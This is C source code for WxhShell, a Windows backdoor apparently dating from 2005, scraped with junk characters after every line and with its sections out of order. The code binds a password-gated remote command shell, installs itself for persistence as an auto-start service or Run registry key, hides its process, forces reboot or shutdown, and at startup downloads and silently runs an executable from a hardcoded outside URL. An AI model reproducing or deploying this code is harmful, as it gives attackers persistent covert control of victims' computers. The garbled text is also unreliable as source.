    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *f79=x  
    else { K1:a]aU?Iu  
    closesocket(wsh); :ar?0  
    ExitThread(0);  ;KZrl`  
    } HbNYP/MN3  
    break; Q m $(  
    } +IG1IF  
  // 获取shell }KK2WJp#M  
  case 's': { }0$mn)*k  
    CmdShell(wsh); vT?Q^PTO  
    closesocket(wsh); ;4!=DFbU  
    ExitThread(0); }c} ( 5  
    break; Yx6hA#7I  
  } RXBb:f  
  // 退出 W@l+ciZ_  
  case 'x': { 3@&bxYXm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o>2e !7  
    CloseIt(wsh); |</"N-#S  
    break; 6G'<[gL j  
    } 'g]hmE  
  // 离开 IQT cYl  
  case 'q': { wuKl-:S;Vs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;P3>>DZ  
    closesocket(wsh); 2-~a P  
    WSACleanup(); wDDxj  
    exit(1); \3r3{X _<`  
    break; lY.B  
        } B]1HS`*7  
  } x"vwWJNQ  
  } z+jh ;!i  
WM/#.  
  // 提示信息 Mec{_jiH&D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 4z6zFv?Q  
} 2 #KoN8%  
  } qtHfz"p  
+O'vj  
  return; {1~9vHAZ  
} CD}Ns  
Yb}w;F8(  
// shell模块句柄 3w Z(+<4i  
int CmdShell(SOCKET sock) i|%5  
{ ^\:yf.k  
STARTUPINFO si; a'uU,Eb}#w  
ZeroMemory(&si,sizeof(si)); 6)ycmu;!$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N0Gf0i>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _ENuwBYW-  
PROCESS_INFORMATION ProcessInfo; Yj3P 7k$c  
char cmdline[]="cmd"; Te;gVG*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :lK4 db  
  return 0; ymtd>P"  
} :7\9xH  
h4Ia>^@  
// 自身启动模式 J^fm~P>.  
int StartFromService(void) PPa^o8jd  
{ 3% ^z?_  
typedef struct ^/*KNnAWp  
{ I_?He'=0oU  
  DWORD ExitStatus; 0qv$:w)g+v  
  DWORD PebBaseAddress; pW{8R^vKm  
  DWORD AffinityMask; /&h+t^l_Qj  
  DWORD BasePriority; hq?jdNy :  
  ULONG UniqueProcessId; !qA8Zky_  
  ULONG InheritedFromUniqueProcessId; a=+T95ulDy  
}   PROCESS_BASIC_INFORMATION; khAqYu" )  
NhA#bn9y?  
PROCNTQSIP NtQueryInformationProcess; noC?k }M  
Wt J{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gLIT;BK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w>qCg XU3  
G AQ 'Ti1!  
  HANDLE             hProcess; 8.?E[~  
  PROCESS_BASIC_INFORMATION pbi; , H2YpZk  
Pd~MiyO;K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <qhBc:kc  
  if(NULL == hInst ) return 0; .Pw%DZ'  
-4flV D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;xK_qBIP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qw?+!-7TN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !8*McO I  
'L{p,  
  if (!NtQueryInformationProcess) return 0; gDCOLDM  
]TSg!H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m_* R.a  
  if(!hProcess) return 0; HM&1y ubh#  
MdC<4^|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xQu eE{  
/APcL5:=  
  CloseHandle(hProcess); aI(>]sWJ  
,+._;[k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z856 nl  
if(hProcess==NULL) return 0; >|3a 9S  
rGlRAn#?,  
HMODULE hMod; 5j{Np,K  
char procName[255]; r7 VXeoX  
unsigned long cbNeeded; ug *D52?  
s /%:dnij  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zX kx7d8  
"+|L_iuNQ  
  CloseHandle(hProcess); s&'BM~WI  
Bf]$X>d  
if(strstr(procName,"services")) return 1; // 以服务启动 q* !3C  
[$a<b/4  
  return 0; // 注册表启动 5| w&dM  
} g:<?  
M=y0PCD  
// 主模块 n.hElgkUOr  
int StartWxhshell(LPSTR lpCmdLine) 59*M"1['Q  
{ \M(* =5  
  SOCKET wsl; M)!skU   
BOOL val=TRUE; 9vI]Lf P  
  int port=0; = .oHnMX2M  
  struct sockaddr_in door; *Oo &}oAj  
Dag`>|my  
  if(wscfg.ws_autoins) Install(); 6T+  
4/*H.Fl  
port=atoi(lpCmdLine); YQgNv` l}  
],lV}Mlg*  
if(port<=0) port=wscfg.ws_port; /smiopFcq  
5HlWfD  
  WSADATA data; ksWSMxm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X=~V6m  
Ct]A%=cZW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y)b@0'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Q(vni83<  
  door.sin_family = AF_INET; 4v dNMV~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'iUg[{'+  
  door.sin_port = htons(port); &uM^0eM  
GXX+}=b7qO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SwH2$:f  
closesocket(wsl); f9TV%fG?  
return 1; & ,L9OU  
} xx8U$,Ng  
_:J*Cm[q  
  if(listen(wsl,2) == INVALID_SOCKET) { Z$'I Bv  
closesocket(wsl); ]gEhE  
return 1; Owf.f;QR  
} )1F<6R  
  Wxhshell(wsl); 'C?NJ~MN  
  WSACleanup(); Qw)9r{f  
}$g mK  
return 0; M>l^%`  
R,Oe$J<  
} |(% u}V?  
Zzj0\? Ul  
// 以NT服务方式启动 } /:\U p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wW`}VKu  
{ A6UO0lyu  
DWORD   status = 0; uDayBaR  
  DWORD   specificError = 0xfffffff; ^O6* e]C$  
!/I0i8T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RT*5d;l0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nr2r8u9r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qv+R:YYOq  
  serviceStatus.dwWin32ExitCode     = 0; Bjj<\8 ^M  
  serviceStatus.dwServiceSpecificExitCode = 0; UUtbD&\  
  serviceStatus.dwCheckPoint       = 0; <I=$ry6 8  
  serviceStatus.dwWaitHint       = 0; cH D%{xlb  
"uD= KlA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?o[L7JI  
  if (hServiceStatusHandle==0) return; lDc;__}Ws  
. (`3JQ2s  
status = GetLastError(); r;qzo .  
  if (status!=NO_ERROR) p!W[X%`)  
{ z?ucIsbR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }zMf7<C  
    serviceStatus.dwCheckPoint       = 0; 7#2j>G{?]v  
    serviceStatus.dwWaitHint       = 0; >a>fb|r  
    serviceStatus.dwWin32ExitCode     = status; {0yu   
    serviceStatus.dwServiceSpecificExitCode = specificError; Xm_$ dZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); smU4jh9S  
    return; G'#41>q+  
  } g9mG`f  
l]#!+@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F^kwdS  
  serviceStatus.dwCheckPoint       = 0; &%F@O<:  
  serviceStatus.dwWaitHint       = 0; 30F!kP*E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y=B3q8l5  
} ?S#\K^  
8+'C_t/0i  
// 处理NT服务事件,比如:启动、停止 \m/xV /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4$"DbaC  
{ (36K3=Qa  
switch(fdwControl) ", B'k  
{ [CN$ScK,  
case SERVICE_CONTROL_STOP: /c-nE3+rn  
  serviceStatus.dwWin32ExitCode = 0; ,Og4 ?fS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _ PWj(});  
  serviceStatus.dwCheckPoint   = 0; ]/dVRkZeAE  
  serviceStatus.dwWaitHint     = 0; TKI$hc3|L  
  { BWq/TG=>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d?L\pN&  
  } .BZVX=x  
  return; FGanxv@15  
case SERVICE_CONTROL_PAUSE: =Hu0v}i/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TI9X.E?  
  break; z,Lzgh  
case SERVICE_CONTROL_CONTINUE: WeT* C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  46,j9x  
  break; f_6`tq m%  
case SERVICE_CONTROL_INTERROGATE: Nhf~PO({&  
  break; wNQqfq Z  
}; Q~,YbZ-7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hR)2xz  
} jBtj+ TL8  
UpUp8%fCU  
// 标准应用程序主函数 <' m6^]:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) clDHTj=~  
{ :nGMtF  
M]EsS^/X  
// 获取操作系统版本 lrEj/"M  
OsIsNt=GetOsVer(); \8b6\qF/\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >-cfZ9{!  
f~M8A.  
  // 从命令行安装  '3 ,\@4  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ex(3D[WmMW  
\cySWP[  
  // 下载执行文件 'fW#7W  
if(wscfg.ws_downexe) { Ka-p& Uv1<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `~F5 wh~  
  WinExec(wscfg.ws_filenam,SW_HIDE); |:q/Dt@  
} r6.N4eW.L  
4\2V9F{s  
if(!OsIsNt) { 3C^1f rF  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~!:0iFE&H  
HideProc(); \ L]|-f(4  
StartWxhshell(lpCmdLine); vK$^y^  
} Np,2j KF(  
else =,/D/v$m'2  
  if(StartFromService()) #$1$T  
  // 以服务方式启动 4E3g,%9u  
  StartServiceCtrlDispatcher(DispatchTable); ecHP &Z$  
else h'5Cp(G  
  // 普通方式启动 %FA@)?~  
  StartWxhshell(lpCmdLine); t9 F=^)s  
BGWAh2w6  
return 0; <[Oo*:A!7  
} < K %j  
v 1.*IV5Y  
rU\[SrIhz  
<@#PF$!  
=========================================== 2C "=!'  
M<`|CVl  
d,F5:w&  
pj{\T?(  
@u9Mks|{  
XW~bu2%{7"  
" /9hR  
k onoI&kV|  
#include <stdio.h> Vz:_mKA  
#include <string.h> P:!)9/.2  
#include <windows.h> C7qYiSv  
#include <winsock2.h> S*t%RZ~a  
#include <winsvc.h> h=+$>_&:  
#include <urlmon.h> 0D [@u3W  
By((,QpB  
#pragma comment (lib, "Ws2_32.lib") q-AN[_@  
#pragma comment (lib, "urlmon.lib")  Y7Gs7  
&O1v,$}'  
#define MAX_USER   100 // 最大客户端连接数 (FVX57  
#define BUF_SOCK   200 // sock buffer ,=By$.rr'  
#define KEY_BUFF   255 // 输入 buffer T@ 48qg  
yYTVXs`fVj  
#define REBOOT     0   // 重启 A"l{?;~  
#define SHUTDOWN   1   // 关机 "yh Pm  
~"dhu]^  
#define DEF_PORT   5000 // 监听端口  ?J&)W,~  
t_c?Wp~tH  
#define REG_LEN     16   // 注册表键长度 ;e{5)@h$  
#define SVC_LEN     80   // NT服务名长度 K{DAOQ.z  
);JJ2Jlkd  
// 从dll定义API - q@69q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8;zDg$ (  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SG'JE}jzO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ])T/sO#'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `deY i2z  
R]L2(' B  
// wxhshell配置信息 [ ]p"3 i  
struct WSCFG { a6nlt? 1?D  
  int ws_port;         // 监听端口 +_mr  
  char ws_passstr[REG_LEN]; // 口令 rla:<6tt  
  int ws_autoins;       // 安装标记, 1=yes 0=no XAD3Z?  
  char ws_regname[REG_LEN]; // 注册表键名 la, h  
  char ws_svcname[REG_LEN]; // 服务名 9([6d.`~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vDE |sT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P Jo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N}Q FGX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [)|+F wJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KH<v@IJ\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dOXD{c  
x ^vt; $  
}; <r\I"z$  
p:[LnL  
// default Wxhshell configuration '2v f|CX  
struct WSCFG wscfg={DEF_PORT, !v>ew9  
    "xuhuanlingzhe", dgc&[  
    1, T33|';k  
    "Wxhshell", !nw [  
    "Wxhshell", YoSQN/Z  
            "WxhShell Service", @ss):FwA  
    "Wrsky Windows CmdShell Service", +R\~3uj[7  
    "Please Input Your Password: ", |63Y >U"  
  1, Tg''1 Wl*  
  "http://www.wrsky.com/wxhshell.exe", jnBC;I[:  
  "Wxhshell.exe" o)I/P<  
    }; Fd8hGj1  
buY D l  
// 消息定义模块 _s>^?x}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3,$iG e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WU\m^!`w=F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F`& >NQb  
char *msg_ws_ext="\n\rExit."; Eo=HNe  
char *msg_ws_end="\n\rQuit."; 5*j:K&R-.K  
char *msg_ws_boot="\n\rReboot..."; NMXM[Ukb  
char *msg_ws_poff="\n\rShutdown..."; ]w22@s  
char *msg_ws_down="\n\rSave to "; T$c+m\j6  
8 /m3+5  
char *msg_ws_err="\n\rErr!"; ^H=o3#P~L  
char *msg_ws_ok="\n\rOK!"; hyu}}0:  
4iBxPo(0  
char ExeFile[MAX_PATH]; !~J WYY  
int nUser = 0; W_JhNe  
HANDLE handles[MAX_USER]; O/9fuEF  
int OsIsNt; FfYsSq2l  
+by|  
SERVICE_STATUS       serviceStatus; *l!5QG UoK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8=4^Lm  
fM:80bn L+  
// 函数声明 2OCdG  
int Install(void); ^5x4q  
int Uninstall(void); n\>.T[$"  
int DownloadFile(char *sURL, SOCKET wsh); V9{B}5KC  
int Boot(int flag); .^H1\p];Lw  
void HideProc(void); @ ;J|xkJ  
int GetOsVer(void); #313 (PWH  
int Wxhshell(SOCKET wsl); \+]O*Bm&`8  
void TalkWithClient(void *cs); b|wWHNEdb,  
int CmdShell(SOCKET sock); o* _g$  
int StartFromService(void); 3yMt1 fy  
int StartWxhshell(LPSTR lpCmdLine); OqEHM%j  
RKk"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &kx\W)  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  N|N/)  
.v l="<  
// 数据结构和表定义 p JX, n  
SERVICE_TABLE_ENTRY DispatchTable[] = Sf/W9Jw  
{ \e0x ,2  
{wscfg.ws_svcname, NTServiceMain}, 8b~7~VCk  
{NULL, NULL} C->[$HcRa  
}; T&*eOr  
4K #^dJnC  
// 自我安装 .~,^u  
int Install(void) V=9Bto00  
{ }wL3mVz  
  char svExeFile[MAX_PATH]; 4 Q&mC"  
  HKEY key; opnkmM&[  
  strcpy(svExeFile,ExeFile); MM*-i=  
,O9`X6rh'  
// 如果是win9x系统,修改注册表设为自启动 05g?jV  
if(!OsIsNt) { my=~"bw4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -faw:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ i'C/[P  
  RegCloseKey(key); .-%oDuB5zF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 44|03Ty  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6\mC$:F  
  RegCloseKey(key); 2w7@u/OC'  
  return 0; 9BurjG1k?  
    } _!;\R7]  
  } %\_h7:  
} gyg|Tno  
else { cuNq9y;[  
>rRjm+vg  
// 如果是NT以上系统,安装为系统服务 )#mW7m9M#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !$XO U'n  
if (schSCManager!=0) G`WzJS*}v  
{ >oB ?  
  SC_HANDLE schService = CreateService yEnKUo[  
  ( 2}@*Ki7  
  schSCManager, KK .cDAR  
  wscfg.ws_svcname, WMA*.$Zi  
  wscfg.ws_svcdisp, `|NevpXY1  
  SERVICE_ALL_ACCESS, "mG!L$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z22N7W=7  
  SERVICE_AUTO_START, X)Ocn`|  
  SERVICE_ERROR_NORMAL, ~Gwas0e Na  
  svExeFile, rcW#6VZ=  
  NULL, .Btv}b  
  NULL, BiI{8`M!$x  
  NULL, GMyoSe%1/  
  NULL, {AtfK>D  
  NULL su%Z{f)#  
  ); B=^2g}mgK  
  if (schService!=0) Z#[>N,P  
  { v@]6<e$  
  CloseServiceHandle(schService); uvNnW}G4  
  CloseServiceHandle(schSCManager); { <~s&EPd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W *|OOa'  
  strcat(svExeFile,wscfg.ws_svcname); Je@p5(f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s}<)B RZi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J$<:/^t  
  RegCloseKey(key); ,at-ci\'  
  return 0; <"{+  
    } 5auL<Pq   
  } 64;oB_  
  CloseServiceHandle(schSCManager); }% FDm@+  
} bmSpbX\  
} <w%Yq?^  
>n#g9vK  
return 1; FC~|&  
} 18J.vcP  
2>`m<&y  
// 自我卸载 ^glbxbhI4  
int Uninstall(void) 1h& )I%`?  
{ )m oo?Q  
  HKEY key; Py}!C@e  
M55e=  
if(!OsIsNt) { %y!   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U3(L.8(sA  
  RegDeleteValue(key,wscfg.ws_regname); ~7KynE  
  RegCloseKey(key); )sMAhk|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AW]("pt  
  RegDeleteValue(key,wscfg.ws_regname); IZzhJK M1V  
  RegCloseKey(key); EgkZ$ah  
  return 0; Y^T-A}?`  
  } k?z [hZg0  
} X*43!\  
} %kaTQ"PB  
else { aEV|>K=6Y'  
n">?LN-DC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Q &Xb <  
if (schSCManager!=0) ^p'D<!6sK  
{ F%Ro98?{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _ +0uju?o}  
  if (schService!=0) fbi H   
  { ".Tf< F  
  if(DeleteService(schService)!=0) { "`y W]v  
  CloseServiceHandle(schService); Y*h`),  
  CloseServiceHandle(schSCManager); oC ^z_AtZ  
  return 0; W ??;4  
  } P6.)P|n7=  
  CloseServiceHandle(schService); 1e+h9|hGYw  
  } 0Ax>gj-`  
  CloseServiceHandle(schSCManager); Hz8Jgp  
} rjhs ?  
} 'Y,+D`&i)  
)< X=z  
return 1; PxdJOtI"  
} ft*G*.0kO  
>' BU*  
// 从指定url下载文件 sPZV>Q:zY  
int DownloadFile(char *sURL, SOCKET wsh) IIYX|;1}X  
{ nvm1.}=Cnd  
  HRESULT hr; ZlwcwoPib  
char seps[]= "/"; vr8J*36{  
char *token; ,3g]= f  
char *file; q(w1VcLZ  
char myURL[MAX_PATH]; q[Sp|C6x  
char myFILE[MAX_PATH]; Ae,2Xi  
}bj,&c  
strcpy(myURL,sURL); )w3XN A_V  
  token=strtok(myURL,seps); i2\\!s  
  while(token!=NULL) :BC<+T=  
  { z22|Kv;w  
    file=token; 2- |j  
  token=strtok(NULL,seps); zEA{%)W  
  } FC jYTGA  
h|$zHm  
GetCurrentDirectory(MAX_PATH,myFILE); & y 2GQJE  
strcat(myFILE, "\\"); >G w%r1)  
strcat(myFILE, file); CU} q&6h  
  send(wsh,myFILE,strlen(myFILE),0); [hvig$L  
send(wsh,"...",3,0); &</ @0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y.TdWnXx  
  if(hr==S_OK) sf|_2sI  
return 0; D8<0zxc=(  
else ?45K%;.9Q  
return 1; k~W;TCJs  
mt&JgA/  
} uBd =x<c\  
v/4X[6(  
// 系统电源模块 E Ni%ge'":  
int Boot(int flag) ijR*5#5h  
{ @EH4N%fH  
  HANDLE hToken; Z7k1fv:S^  
  TOKEN_PRIVILEGES tkp; ~Krg8s!F&  
WZDokSR  
  if(OsIsNt) { .DM1Knj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A~ %g"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :\ON+LQr  
    tkp.PrivilegeCount = 1; XEe+&VQmY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k(w9vt0?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }I'>r(K  
if(flag==REBOOT) { q>Ar.5&M_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `G:qtHn"Q<  
  return 0; !:!@dC%8_  
} ~O7cUsAi'  
else { da7x 1n$D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uDMUy"8&!  
  return 0; z; z'`A  
} &_Xv:?  
  } "KQ\F0/  
  else { o*5e14W(:  
if(flag==REBOOT) { ~[bMfkc3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G~mB=]  
  return 0; E l8.D3  
}  Lqf#,J  
else { 83O^e&Bt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hPCSLJ  
  return 0; ZLFdnC@  
} J{'zkR?Lr  
} $=6kh+n@  
Dv\:b*  
return 1; ^FpiQF  
} lhvZ*[[<)  
jP{]LJ2.6\  
// win9x进程隐藏模块 <:_]Yl  
void HideProc(void) DIcyXZH<  
{ *U[Q=w  
p|O-I&Xd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !h~#L"z  
  if ( hKernel != NULL ) VIlQzM;%^  
  { )jQe K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4s+J-l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?28G6T]/?d  
    FreeLibrary(hKernel);  TVEF+t  
  } 2>_LX!kyP]  
Ee?K|_\${  
return; OM&\Mo  
} MRY)m@*+6  
7n3x19T  
// 获取操作系统版本 :."n@sA@  
int GetOsVer(void) l Ib>t  
{ C&#KdvN/r  
  OSVERSIONINFO winfo; ]oZ,{Q5~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CSg5i&A=  
  GetVersionEx(&winfo); m{=~| I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :!it7vZ  
  return 1; "8Wc\YDh  
  else RSVN(-wIi)  
  return 0; 1)kl  
} $hY]EB  
H_nOE(i<z  
// 客户端句柄模块 sp]y!zb"5  
int Wxhshell(SOCKET wsl) %X-&yGY  
{ UOL%tT  
  SOCKET wsh; yl;$#aZB  
  struct sockaddr_in client; mjr{L{H=?+  
  DWORD myID; Vm%ux>}  
kjYO0!C  
  while(nUser<MAX_USER)  ! 6i  
{ fw~%^*  
  int nSize=sizeof(client); |$*9j""u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6"c!tJc7j  
  if(wsh==INVALID_SOCKET) return 1; M97p.;;  
,Z\,IRn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \?]HqPibx  
if(handles[nUser]==0) *V<2\-  
  closesocket(wsh); 6'lT`E|  
else FO)nW:8]  
  nUser++; LRlk9:QD>  
  } ^V;lZtZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ognq*[om  
q8yJW-GA   
  return 0; ,% DAh  
} ^=M(K''  
\(7#N<-  
// 关闭 socket g&(~MD2{  
void CloseIt(SOCKET wsh) ]KPg=@Q/  
{ dZ81\jdYv  
closesocket(wsh); hI#M {cz  
nUser--; B(T4 nH_k  
ExitThread(0); xg%]\#  
} <:}AC{I  
IHX#BY>  
// 客户端请求句柄 f#-T%jqnK  
void TalkWithClient(void *cs) we).8%)'  
{ (HD>vNha1  
K{|dt W&  
  SOCKET wsh=(SOCKET)cs; `Q_ R/9~  
  char pwd[SVC_LEN]; f$*9J  
  char cmd[KEY_BUFF]; o2U J*4  
char chr[1]; M/`z;a=EP  
int i,j; gJfL$S'w  
8Nq Iz  
  while (nUser < MAX_USER) { Vy*Z"k  
!suiqP1\*  
if(wscfg.ws_passstr) { 5v-;*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K`Zb;R X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YVV $g-D}  
  //ZeroMemory(pwd,KEY_BUFF); NGD2z.  
      i=0; 745V!#3!M  
  while(i<SVC_LEN) { RloPP  
03jBN2[!  
  // 设置超时 ialk6i![  
  fd_set FdRead; V \ 8 5  
  struct timeval TimeOut; 9 7qS.Z27  
  FD_ZERO(&FdRead); 'cc4Y~0s  
  FD_SET(wsh,&FdRead); +}Wo=R}  
  TimeOut.tv_sec=8; aV%rq9Tp  
  TimeOut.tv_usec=0; *LQY6=H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L6}x3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?mUu(D:7D  
Uwil*Jh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o5A_j?t  
  pwd=chr[0]; ![C $H5  
  if(chr[0]==0xd || chr[0]==0xa) { xb_:9   
  pwd=0; a^1c _  
  break; I*ni)Px  
  } @+vTGjHA  
  i++; Kt7x'5  
    } Ln -?/[E  
5"]2@@b4  
  // 如果是非法用户,关闭 socket +>%+r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Ea_:C'  
} M!i5StGC  
W3j|%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l[0P*(I,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6spk* 8e  
6M|%nBN$|  
while(1) { c<x6_H6[8  
HcUz2Rm5XP  
  ZeroMemory(cmd,KEY_BUFF); 0'oT {iN  
@z RB4d$  
      // 自动支持客户端 telnet标准   4}FfHgpQ  
  j=0;  0PbIWy'  
  while(j<KEY_BUFF) { =5eDT~=2{U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U2?gODh'  
  cmd[j]=chr[0]; VO6y9X"  
  if(chr[0]==0xa || chr[0]==0xd) { /pN2Jst  
  cmd[j]=0; [\F,\  
  break; Ox'.sq4  
  } ^$ bhmJYT  
  j++; ',%&DA2  
    } $yK!Q)e:  
LP_F"?4  
  // 下载文件 @ ]3Rw[% z  
  if(strstr(cmd,"http://")) { z1 px^#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m?`Rl6!@8\  
  if(DownloadFile(cmd,wsh)) ea+rjvm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mdh"G @$n  
  else L` "UeNT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ol0|)0  
  } z Pc;[uHT  
  else { .AW*7Pp`f  
9Q1GV>j>B  
    switch(cmd[0]) { MF(~!SOIG  
  /)|y+<E]}  
  // 帮助 ,]"u!,yHb  
  case '?': { nd1*e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a~"X.xT\R  
    break; 0-HE, lv  
